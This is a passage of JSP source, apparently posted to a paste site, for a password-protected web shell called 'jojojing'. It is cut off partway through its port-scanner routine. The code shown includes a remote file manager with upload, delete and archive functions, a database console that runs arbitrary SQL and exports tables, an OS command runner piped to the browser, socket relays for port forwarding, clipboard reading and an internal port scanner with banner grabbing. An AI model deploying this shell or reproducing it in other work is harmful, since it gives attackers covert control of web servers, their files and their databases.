· 8 years ago · May 07, 2018, 12:56 PM
1<%@page pageEncoding="ISO-8859-1"%>
2<%@page import="java.io.*"%>
3<%@page import="java.util.*"%>
4<%@page import="java.util.regex.*"%>
5<%@page import="java.sql.*"%>
6<%@page import="java.lang.reflect.*"%>
7<%@page import="java.nio.charset.*"%>
8<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
9<%@page import="java.text.*"%>
10<%@page import="java.net.*"%>
11<%@page import="java.util.zip.*"%>
12<%@page import="java.util.jar.*"%>
13<%@page import="java.awt.*"%>
14<%@page import="java.awt.image.*"%>
15<%@page import="javax.imageio.*"%>
16<%@page import="java.awt.datatransfer.DataFlavor"%>
17<%@page import="java.util.prefs.Preferences"%>
18<%!
19
20private static final String PW = "six69ninty"; //password
21private static final String PW_SESSION_ATTRIBUTE = "jjssppppaa";
22private static final String REQUEST_CHARSET = "ISO-8859-1";
23private static final String PAGE_CHARSET = "UTF-8";
24private static final String CURRENT_DIR = "currentdir";
25private static final String MSG = "SHOWMSG";
26private static final String PORT_MAP = "PMSA";
27private static final String DBO = "DBO";
28private static final String SHELL_ONLINE = "SHELL_ONLINE";
29private static final String ENTER = "ENTER_FILE";
30private static final String ENTER_MSG = "ENTER_FILE_MSG";
31private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
32private static final String SESSION_O = "SESSION_O";
33private static String SHELL_NAME = "";
34private static String WEB_ROOT = null;
35private static String SHELL_DIR = null;
36public static Map ins = new HashMap();
37private static boolean ISLINUX = false;
38
39private static final String MODIFIED_ERROR = "jojojing Was Modified By Some Other Applications. Please Logout.";
40private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
41
42private static class MyRequest extends HttpServletRequestWrapper {
43public MyRequest(HttpServletRequest req) {
44super(req);
45}
46public String getParameter(String name) {
47try {
48String value = super.getParameter(name);
49if (name == null)
50return null;
51return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
52} catch (Exception e) {
53return null;
54}
55}
56}
57private static class SpyClassLoader extends ClassLoader{
58public SpyClassLoader() {
59}
60public Class defineClass(String name,byte[] b) {
61return super.defineClass(name,b,0,b.length - 2);
62}
63}
64private static class DBOperator{
65private Connection conn = null;
66private Statement stmt = null;
67private String driver;
68private String url;
69private String uid;
70private String pwd;
71public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
72this(driver,url,uid,pwd,false);
73}
74public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
75Class.forName(driver);
76if (connect)
77this.conn = DriverManager.getConnection(url,uid,pwd);
78this.url = url;
79this.driver = driver;
80this.uid = uid;
81this.pwd = pwd;
82}
83public void connect() throws Exception{
84this.conn = DriverManager.getConnection(url,uid,pwd);
85}
86public Object execute(String sql) throws Exception {
87if (isValid()) {
88stmt = conn.createStatement();
89if (stmt.execute(sql)) {
90return stmt.getResultSet();
91} else {
92return ""+stmt.getUpdateCount();
93}
94}
95throw new Exception("Connection is inValid.");
96}
97public void closeStmt() throws Exception{
98if (this.stmt != null)
99stmt.close();
100}
101public boolean isValid() throws Exception {
102return conn != null && !conn.isClosed();
103}
104public void close() throws Exception {
105if (isValid()) {
106closeStmt();
107conn.close();
108}
109}
110public boolean equals(Object o) {
111if (o instanceof DBOperator) {
112DBOperator dbo = (DBOperator)o;
113return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
114}
115return false;
116}
117public Connection getConn(){
118return this.conn;
119}
120}
121private static class StreamConnector extends Thread {
122private InputStream is;
123private OutputStream os;
124public StreamConnector( InputStream is, OutputStream os ){
125this.is = is;
126this.os = os;
127}
128public void run(){
129BufferedReader in = null;
130BufferedWriter out = null;
131try{
132in = new BufferedReader( new InputStreamReader(this.is));
133out = new BufferedWriter( new OutputStreamWriter(this.os));
134char buffer[] = new char[8192];
135int length;
136while((length = in.read( buffer, 0, buffer.length ))>0){
137out.write( buffer, 0, length );
138out.flush();
139}
140} catch(Exception e){}
141try{
142if(in != null)
143in.close();
144if(out != null)
145out.close();
146} catch( Exception e ){}
147}
148public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
149new Thread(new Runnable(){
150public void run(){
151while (true) {
152try{
153byte[] data = new byte[100];
154int len = localIn.read(data);
155while (len != -1) {
156remoteOut.write(data,0,len);
157len = localIn.read(data);
158}
159}catch (Exception e) {
160break;
161}
162}
163}
164}).start();
165}
166public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
167new Thread(new Runnable(){
168public void run(){
169while(true) {
170try{
171byte[] data = new byte[100];
172int len = remoteIn.read(data);
173while (len != -1) {
174localOut.write(data,0,len);
175len = remoteIn.read(data);
176}
177}catch (Exception e) {
178try{
179soc.close();
180remoteSoc.close();
181}catch(Exception ex) {
182}
183break;
184}
185}
186}
187}).start();
188}
189}
190private static class EnterFile extends File{
191private ZipFile zf = null;
192private ZipEntry entry = null;
193private boolean isDirectory = false;
194private String absolutePath = null;
195public void setEntry(ZipEntry e) {
196this.entry = e;
197}
198public void setAbsolutePath(String p) {
199this.absolutePath = p;
200}
201public void close() throws Exception{
202this.zf.close();
203}
204public void setZf(String p) throws Exception{
205if (p.toLowerCase().endsWith(".jar"))
206this.zf = new JarFile(p);
207else
208this.zf = new ZipFile(p);
209}
210public EnterFile(File parent, String child) {
211super(parent,child);
212}
213public EnterFile(String pathname) {
214super(pathname);
215}
216public EnterFile(String pathname,boolean isDir) {
217this(pathname);
218this.isDirectory = isDir;
219}
220public EnterFile(String parent, String child) {
221super(parent,child);
222}
223public EnterFile(URI uri) {
224super(uri);
225}
226public boolean exists(){
227return new File(this.zf.getName()).exists();
228}
229public File[] listFiles() {
230java.util.List list = new ArrayList();
231java.util.List handled = new ArrayList();
232String currentDir = super.getPath();
233currentDir = currentDir.replace('\\','/');
234if (currentDir.indexOf("/") == 0)
235{
236if (currentDir.length() > 1)
237currentDir = currentDir.substring(1);
238else
239currentDir = "";
240}
241Enumeration e = this.zf.entries();
242while (e.hasMoreElements())
243{
244ZipEntry entry = (ZipEntry)e.nextElement();
245String eName = entry.getName();
246if (this.zf instanceof JarFile) {
247if (!entry.isDirectory()){
248EnterFile ef = new EnterFile(eName);
249ef.setEntry(entry);
250try{
251ef.setZf(this.zf.getName());
252}catch(Exception ex) {
253}
254list.add(ef);
255}
256} else {
257if (currentDir.equals("")) {
258//zip root directory
259if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
260{
261EnterFile ef = new EnterFile(eName.replaceAll("/",""));
262handled.add(eName.replaceAll("/",""));
263ef.setEntry(entry);
264list.add(ef);
265} else {
266if (eName.indexOf("/") != -1) {
267String tmp = eName.substring(0,eName.indexOf("/"));
268if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
269EnterFile ef = new EnterFile(tmp,true);
270ef.setEntry(entry);
271list.add(ef);
272handled.add(tmp);
273}
274}
275}
276} else {
277if (eName.startsWith(currentDir)) {
278if (eName.matches(currentDir+"/[^/]+/?$")) {
279//file.
280EnterFile ef = new EnterFile(eName);
281ef.setEntry(entry);
282list.add(ef);
283if (eName.endsWith("/")) {
284String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
285tmp = tmp.substring(1,tmp.length()-1);
286handled.add(tmp);
287}
288} else {
289//dir
290try {
291String tmp = eName.substring(currentDir.length()+1);
292tmp = tmp.substring(0,tmp.indexOf('/'));
293if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
294EnterFile ef = new EnterFile(tmp,true);
295ef.setAbsolutePath(currentDir+"/"+tmp);
296ef.setEntry(entry);
297list.add(ef);
298handled.add(tmp);
299}
300} catch (Exception ex) {
301}
302}
303}
304}
305}
306}
307return (File[])list.toArray(new File[0]);
308}
309public boolean isDirectory(){
310return this.entry.isDirectory() || this.isDirectory;
311}
312public String getParent(){
313return "";
314}
315public String getAbsolutePath(){
316return absolutePath != null ? absolutePath : super.getPath();
317}
318public String getName(){
319if (this.zf instanceof JarFile) {
320return this.getAbsolutePath();
321} else {
322return super.getName();
323}
324}
325public long lastModified(){
326return entry.getTime();
327}
328public boolean canRead(){
329return false;
330}
331public boolean canWrite(){
332return false;
333}
334public boolean canExecute(){
335return false;
336}
337public long length(){
338return entry.getSize();
339}
340}
341private static class OnLineProcess {
342private String cmd = "first";
343private Process pro;
344public OnLineProcess(Process p){
345this.pro = p;
346}
347public void setPro(Process p) {
348this.pro = p;
349}
350public void setCmd(String c){
351this.cmd = c;
352}
353public String getCmd(){
354return this.cmd;
355}
356public Process getPro(){
357return this.pro;
358}
359public void stop(){
360this.pro.destroy();
361}
362}
363private static class OnLineConnector extends Thread {
364private OnLineProcess ol = null;
365private InputStream is;
366private OutputStream os;
367private String name;
368public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
369this.is = is;
370this.os = os;
371this.name = name;
372this.ol = ol;
373}
374public void run(){
375BufferedReader in = null;
376BufferedWriter out = null;
377try{
378in = new BufferedReader( new InputStreamReader(this.is));
379out = new BufferedWriter( new OutputStreamWriter(this.os));
380char buffer[] = new char[128];
381if(this.name.equals("exeRclientO")) {
382//from exe to client
383int length = 0;
384while((length = in.read( buffer, 0, buffer.length ))>0){
385String str = new String(buffer, 0, length);
386str = str.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
387str = str.replaceAll(""+(char)13+(char)10,"<br/>");
388str = str.replaceAll("\n","<br/>");
389out.write(str.toCharArray(), 0, str.length());
390out.flush();
391}
392} else {
393//from client to exe
394while(true) {
395while(this.ol.getCmd() == null) {
396Thread.sleep(500);
397}
398if (this.ol.getCmd().equals("first")) {
399this.ol.setCmd(null);
400continue;
401}
402this.ol.setCmd(this.ol.getCmd() + (char)10);
403char[] arr = this.ol.getCmd().toCharArray();
404out.write(arr,0,arr.length);
405out.flush();
406this.ol.setCmd(null);
407}
408}
409} catch(Exception e){
410}
411try{
412if(in != null)
413in.close();
414if(out != null)
415out.close();
416} catch( Exception e ){
417}
418}
419}
420private static class Table{
421private ArrayList rows = null;
422private boolean echoTableTag = false;
423public void setEchoTableTag(boolean v) {
424this.echoTableTag = v;
425}
426public Table(){
427this.rows = new ArrayList();
428}
429public void addRow(Row r) {
430this.rows.add(r);
431}
432public String toString(){
433StringBuffer html = new StringBuffer();
434if (echoTableTag)
435html.append("<table>");
436for (int i = 0;i<rows.size();i++) {
437 Row r=(Row)rows.get(i);
438html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
439 ArrayList columns = r.getColumns();
440for (int a = 0;a<columns.size();a++) {
441 Column c = (Column)columns.get(a);
442html.append("<td nowrap>");
443String vv = Util.htmlEncode(Util.getStr(c.getValue()));
444if (vv.equals(""))
445vv = " ";
446html.append(vv);
447html.append("</td>");
448}
449html.append("</tr>");
450}
451if (echoTableTag)
452html.append("</table>");
453return html.toString();
454}
455public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
456StringBuffer table = new StringBuffer();
457ResultSetMetaData meta = rs.getMetaData();
458int count = meta.getColumnCount();
459if (!op)
460table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
461else
462table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
463table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
464table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
465for (int i = 1;i<=count;i++) {
466table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
467}
468if (op)
469table.append("<td> </td>");
470table.append("</tr>");
471while (rs.next()) {
472String tbName = null;
473table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
474for (int i = 1;i<=count;i++) {
475String v = rs.getString(i);
476if (i == 3)
477tbName = v;
478table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
479}
480if (op)
481table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
482table.append("</tr>");
483}
484table.append("</table><br/>");
485return table.toString();
486}
487}
488private static class Row{
489private ArrayList cols = null;
490public Row(){
491this.cols = new ArrayList();
492}
493public void addColumn(Column n) {
494this.cols.add(n);
495}
496public ArrayList getColumns(){
497return this.cols;
498}
499}
500private static class Column{
501private String value;
502public Column(String v){
503this.value = v;
504}
505public String getValue(){
506return this.value;
507}
508}
509private static class Util{
510public static boolean isEmpty(String s) {
511return s == null || s.trim().equals("");
512}
513public static boolean isEmpty(Object o) {
514return o == null || isEmpty(o.toString());
515}
516public static String getSize(long size,char danwei) {
517if (danwei == 'M') {
518double v = formatNumber(size / 1024.0 / 1024.0,2);
519if (v > 1024) {
520return getSize(size,'G');
521}else {
522return v + "M";
523}
524} else if (danwei == 'G') {
525return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
526} else if (danwei == 'K') {
527double v = formatNumber(size / 1024.0,2);
528if (v > 1024) {
529return getSize(size,'M');
530} else {
531return v + "K";
532}
533} else if (danwei == 'B') {
534if (size > 1024) {
535return getSize(size,'K');
536}else {
537return size + "B";
538}
539}
540return ""+0+danwei;
541}
542public static boolean exists(String[] arr,String v) {
543for (int i =0;i<arr.length;i++) {
544if (v.equals(arr[i])) {
545return true;
546}
547}
548return false;
549}
550public static double formatNumber(double value,int l) {
551NumberFormat format = NumberFormat.getInstance();
552format.setMaximumFractionDigits(l);
553format.setGroupingUsed(false);
554return new Double(format.format(value)).doubleValue();
555}
556public static boolean isInteger(String v) {
557if (isEmpty(v))
558return false;
559return v.matches("^\\d+$");
560}
561public static String formatDate(long time) {
562SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
563return format.format(new java.util.Date(time));
564}
565public static String convertPath(String path) {
566return path != null ? path.replace('\\','/') : "";
567}
568public static String htmlEncode(String v) {
569if (isEmpty(v))
570return "";
571return v.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
572}
573public static String getStr(String s) {
574return s == null ? "" :s;
575}
576public static String null2Nbsp(String s) {
577if (s == null)
578s = " ";
579return s;
580}
581public static String getStr(Object s) {
582return s == null ? "" :s.toString();
583}
584public static String exec(String regex, String str, int group) {
585Pattern pat = Pattern.compile(regex);
586Matcher m = pat.matcher(str);
587if (m.find())
588return m.group(group);
589return null;
590}
591public static void outMsg(Writer out,String msg) throws Exception {
592outMsg(out,msg,"center");
593}
594public static void outMsg(Writer out,String msg,String align) throws Exception {
595out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
596}
597public static String highLight(String str) {
598str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
599str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
600return str;
601}
602}
603private static class UploadBean {
604private String fileName = null;
605private String suffix = null;
606private String savePath = "";
607private ServletInputStream sis = null;
608private OutputStream targetOutput = null;
609private byte[] b = new byte[1024];
610public void setTargetOutput(OutputStream stream) {
611this.targetOutput = stream;
612}
613public UploadBean() {
614}
615public void setSavePath(String path) {
616this.savePath = path;
617}
618public String getFileName(){
619return this.fileName;
620}
621public void parseRequest(HttpServletRequest request) throws IOException {
622sis = request.getInputStream();
623int a = 0;
624int k = 0;
625String s = "";
626while ((a = sis.readLine(b,0,b.length))!= -1) {
627s = new String(b, 0, a,PAGE_CHARSET);
628if ((k = s.indexOf("filename=\""))!= -1) {
629s = s.substring(k + 10);
630k = s.indexOf("\"");
631s = s.substring(0, k);
632File tF = new File(s);
633if (tF.isAbsolute()) {
634fileName = tF.getName();
635} else {
636fileName = s;
637}
638k = s.lastIndexOf(".");
639suffix = s.substring(k + 1);
640upload();
641}
642}
643}
644private void upload() throws IOException{
645try {
646OutputStream out = null;
647if (this.targetOutput != null)
648out = this.targetOutput;
649else
650out = new FileOutputStream(new File(savePath,fileName));
651int a = 0;
652int k = 0;
653String s = "";
654while ((a = sis.readLine(b,0,b.length))!=-1) {
655s = new String(b, 0, a);
656if ((k = s.indexOf("Content-Type:"))!=-1) {
657break;
658}
659}
660sis.readLine(b,0,b.length);
661while ((a = sis.readLine(b,0,b.length)) != -1) {
662s = new String(b, 0, a);
663if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
664break;
665}
666out.write(b, 0, a);
667}
668if (out instanceof FileOutputStream)
669out.close();
670} catch (IOException ioe) {
671throw ioe;
672}
673}
674}
675%>
676<%
677SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
678String myAbsolutePath = application.getRealPath(request.getServletPath());
679if (Util.isEmpty(myAbsolutePath)) {//for weblogic
680SHELL_NAME = request.getServletPath();
681myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
682SHELL_NAME=request.getContextPath()+SHELL_NAME;
683WEB_ROOT = new File(application.getResource("/").getPath()).toString();
684} else {
685WEB_ROOT = application.getRealPath("/");
686}
687SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
688if (SHELL_DIR.indexOf('/') == 0)
689ISLINUX = true;
690else
691ISLINUX = false;
692if (session.getAttribute(CURRENT_DIR) == null)
693session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
694request = new MyRequest(request);
695if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
696String o = request.getParameter("o");
697if (o != null && o.equals("login")) {
698((Invoker)ins.get("login")).invoke(request,response,session);
699return;
700} else if (o != null && o.equals("vLogin")) {
701((Invoker)ins.get("vLogin")).invoke(request,response,session);
702return;
703} else {
704((Invoker)ins.get("vLogin")).invoke(request,response,session);
705return;
706}
707}
708%>
709<%!
710private static interface Invoker {
711public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
712public boolean doBefore();
713public boolean doAfter();
714}
715private static class DefaultInvoker implements Invoker{
716public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
717}
718public boolean doBefore(){
719return true;
720}
721public boolean doAfter() {
722return true;
723}
724}
725private static class ScriptInvoker extends DefaultInvoker{
726public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
727try {
728PrintWriter out = response.getWriter();
729out.println("<script type=\"text/javascript\">"+
730" String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
731" function fso(obj) {"+
732" this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
733" this.filename = obj.filename;"+
734" this.path = obj.path;"+
735" this.filetype = obj.filetype;"+
736" this.charset = obj.charset;"+
737" };"+
738" fso.prototype = {"+
739" copy:function(){"+
740" var path = prompt('Copy To : ',this.path);"+
741" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
742" doPost({o:'copy',src:this.path,to:path});"+
743" },"+
744" move:function() {"+
745" var path =prompt('Move To : ',this.path);"+
746" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
747" doPost({o:'move',src:this.path,to:path})"+
748" },"+
749" vEdit:function() {"+
750" if (!this.charset)"+
751" doPost({o:'vEdit',filepath:this.path});"+
752" else"+
753" doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
754" },"+
755" down:function() {"+
756" doPost({o:'down',path:this.path})"+
757" },"+
758" removedir:function() {"+
759" if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
760" doPost({o:'removedir',dir:this.path});"+
761" },"+
762" mkdir:function() {"+
763" var name = prompt('Input New Directory Name','');"+
764" if (name == null || name.trim().length == 0)return;"+
765" doPost({o:'mkdir',name:name});"+
766" },"+
767" subdir:function(out) {"+
768" doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
769" },"+
770" parent:function() {"+
771" var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
772" doPost({o:'filelist',folder:parent})"+
773" },"+
774" createFile:function() {"+
775" var path = prompt('Input New File Name','');"+
776" if (path == null || path.trim().length == 0) return;"+
777" doPost({o:'vCreateFile',filepath:path})"+
778" },"+
779" deleteBatch:function() {"+
780" if (!confirm('Are You Sure To Delete These Files?')) return;"+
781" var selected = new Array();"+
782" var inputs = document.getElementsByTagName('input');"+
783" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
784" if (selected.length == 0) {alert('No File Selected');return;}"+
785" doPost({o:'deleteBatch',files:selected.join(',')})"+
786" },"+
787" packBatch:function() {"+
788" var selected = new Array();"+
789" var inputs = document.getElementsByTagName('input');"+
790" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
791" if (selected.length == 0) {alert('No File Selected');return;}"+
792" var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
793" if (savefilename == null || savefilename.trim().length == 0)return;"+
794" doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
795" },"+
796" pack:function(showconfig) {"+
797" if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
798" var tmpName = '';"+
799" if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
800" else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
801" tmpName += '.zip';"+
802" var path = this.path;"+
803" var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
804" if (name == null || path.trim().length == 0) return;"+
805" doPost({o:'pack',packedfile:path,savefilename:name})"+
806" },"+
807" vEditProperty:function() {"+
808" var path = this.path;"+
809" doPost({o:'vEditProperty',filepath:path})"+
810" },"+
811" unpack:function() {"+
812" var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
813" if (path == null || path.trim().length == 0) return;"+
814" doPost({o:'unpack',savepath:path,zipfile:this.path})"+
815" },"+
816" enter:function() {"+
817" doPost({o:'enter',filepath:this.path})"+
818" }"+
819" };"+
820" function doPost(obj) {"+
821" var form = document.forms[\"doForm\"];"+
822" var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
823" for (var pro in obj)"+
824" {"+
825" var input = document.createElement(\"input\");"+
826" input.type = \"hidden\";"+
827" input.name = pro;"+
828" input.value = obj[pro];"+
829" form.appendChild(input);"+
830" }"+
831" form.submit();"+
832" }"+
833"</script>");
834
835} catch (Exception e) {
836
837throw e ;
838}
839}
840}
841private static class BeforeInvoker extends DefaultInvoker {
842public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
843try {
844PrintWriter out = response.getWriter();
845out.println("<html><head><title>jojojing Private Codz By - Ninty</title><style type=\"text/css\">"+
846"body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
847".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
848".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
849".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
850"a {color: #00f;text-decoration:underline;}"+
851"a:hover{color: #f00;text-decoration:none;}"+
852".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
853".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
854".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
855".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
856".head td span{font-weight:normal;}"+
857"form{margin:0;padding:0;}"+
858"h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
859"ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
860"u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
861".secho{height:400px;width:100%;overflow:auto;border:none}"+
862"hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
863"</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
864} catch (Exception e) {
865
866throw e ;
867}
868}
869}
870private static class AfterInvoker extends DefaultInvoker {
871public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
872try {
873PrintWriter out = response.getWriter();
874out.println("</body></html>");
875} catch (Exception e) {
876
877throw e ;
878}
879}
880}
881private static class DeleteBatchInvoker extends DefaultInvoker {
882public boolean doBefore(){return false;}
883public boolean doAfter(){return false;}
884public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
885try {
886String files = request.getParameter("files");
887int success = 0;
888int failed = 0;
889if (!Util.isEmpty(files)) {
890String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
891String[] arr = files.split(",");
892for (int i = 0;i<arr.length;i++) {
893 String fs = arr[i];
894File f = new File(currentDir,fs);
895if(f.delete())
896success += 1;
897else
898failed += 1;
899}
900}
901JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
902response.sendRedirect(SHELL_NAME);
903} catch (Exception e) {
904
905throw e ;
906}
907}
908}
909private static class ClipBoardInvoker extends DefaultInvoker {
910public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
911try {
912PrintWriter out = response.getWriter();
913out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
914" <tr>"+
915" <td>"+
916" <h2>System Clipboard »</h2>"+
917"<p><pre>");
918try{
919out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
920}catch (Exception ex) {
921out.println("ClipBoard is Empty Or Is Not Text Data !");
922}
923out.println("</pre>"+
924" <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
925" </p>"+
926" </td>"+
927" </tr>"+
928"</table>");
929} catch (Exception e) {
930
931throw e ;
932}
933}
934}
935private static class VPortScanInvoker extends DefaultInvoker {
936public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
937try {
938PrintWriter out = response.getWriter();
939String ip = request.getParameter("ip");
940String ports = request.getParameter("ports");
941String timeout = request.getParameter("timeout");
942String banner = request.getParameter("banner");
943if (Util.isEmpty(ip))
944ip = "127.0.0.1";
945if (Util.isEmpty(ports))
946ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
947if (Util.isEmpty(timeout))
948timeout = "2";
949out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
950"<h2 id=\"Bin_H2_Title\">PortScan >></h2>"+
951"<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
952"<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
953"IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
954"</p>"+
955"</form></div>"+
956"</td></tr></table>");
957} catch (Exception e) {
958
959throw e ;
960}
961}
962}
963private static class PortScanInvoker extends DefaultInvoker {
964public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
965try {
966PrintWriter out = response.getWriter();
967((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
968out.println("<hr/>");
969String ip = request.getParameter("ip");
970String ports = request.getParameter("ports");
971String timeout = request.getParameter("timeout");
972String banner = request.getParameter("banner");
973int iTimeout = 0;
974if (Util.isEmpty(ip) || Util.isEmpty(ports))
975return;
976if (!Util.isInteger(timeout)) {
977timeout = "2";
978}
979iTimeout = Integer.parseInt(timeout);
980Map rs = new LinkedHashMap();
981String[] portArr = ports.split(",");
982for (int i =0;i<portArr.length;i++) {
983 String port = portArr[i];
984BufferedReader r = null;
985try {
986Socket s = new Socket();
987s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
988s.setSoTimeout(iTimeout);
989if (!Util.isEmpty(banner)) {
990r = new BufferedReader(new InputStreamReader(s.getInputStream()));
991StringBuffer sb = new StringBuffer();
992String b = r.readLine();
993while (b != null) {
994sb.append(b+" ");
995try {
996b = r.readLine();
997} catch (Exception e) {
998break;
999}
1000}
1001rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
1002r.close();
1003} else {
1004rs.put(port,"Open");
1005}
1006s.close();
